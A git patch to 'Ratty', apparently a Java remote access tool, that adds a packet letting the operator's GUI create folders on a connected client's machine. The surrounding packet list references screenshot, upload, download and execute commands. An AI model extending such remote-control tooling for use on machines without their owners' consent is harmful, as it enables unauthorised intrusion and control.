From b4f20ec7c67ba2034ba68c13d5c2a27b9abdfca5 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Tue, 2 Feb 2016 13:50:38 +0100 Subject: [PATCH] Major changes Added folder creation --- .../de/sogomn/rat/packet/NewFolderPacket.java | 48 +++++++++++++++++++ .../src/de/sogomn/rat/packet/PacketType.java | 3 +- .../rat/server/gui/RattyGuiController.java | 12 +++++ 3 files changed, 62 insertions(+), 1 deletion(-) create mode 100644 Ratty/src/de/sogomn/rat/packet/NewFolderPacket.java diff --git a/Ratty/src/de/sogomn/rat/packet/NewFolderPacket.java b/Ratty/src/de/sogomn/rat/packet/NewFolderPacket.java new file mode 100644 index 0000000..df05edd --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/NewFolderPacket.java @@ -0,0 +1,48 @@ +package de.sogomn.rat.packet; + +import java.io.File; + +import de.sogomn.engine.util.FileUtils; +import de.sogomn.rat.ActiveClient; + +public final class NewFolderPacket implements IPacket { + + private String path, name; + + public NewFolderPacket(final String path, final String name) { + this.path = path; + this.name = name; + } + + public NewFolderPacket() { + this("", ""); + } + + @Override + public void send(final ActiveClient client) { + client.writeUTF(path); + client.writeUTF(name); + } + + @Override + public void receive(final ActiveClient client) { + path = client.readUTF(); + name = client.readUTF(); + } + + @Override + public void execute(final ActiveClient client) { + final String fullPath = path + File.separator + name; + + FileUtils.createFolder(fullPath); + } + + public String getPath() { + return path; + } + + public String getName() { + return name; + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 53d988c..087ceef 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -14,7 +14,8 @@ public enum PacketType { FILE(9, FileSystemPacket.class), DOWNLOAD(10, DownloadPacket.class), UPLOAD(11, UploadPacket.class), - EXECUTE(12, ExecutePacket.class); + EXECUTE(12, ExecutePacket.class), + FOLDER(13, NewFolderPacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index fda5826..6332cea 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -5,6 +5,7 @@ import java.io.File; import java.util.ArrayList; import javax.swing.JFileChooser; +import javax.swing.JOptionPane; import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; @@ -17,6 +18,7 @@ import de.sogomn.rat.packet.FileSystemPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; +import de.sogomn.rat.packet.NewFolderPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.UploadPacket; @@ -115,6 +117,16 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final ExecutePacket packet = new ExecutePacket(path); return packet; + } else if (command == FileTreePanel.NEW_FOLDER) { + final FileTreePanel treePanel = serverClient.getTreePanel(); + final String path = treePanel.getLastNodeClickedFolder(); + final String name = JOptionPane.showInputDialog(null); + + if (name != null && !name.isEmpty()) { + final NewFolderPacket packet = new NewFolderPacket(path, name); + + return packet; + } } return null;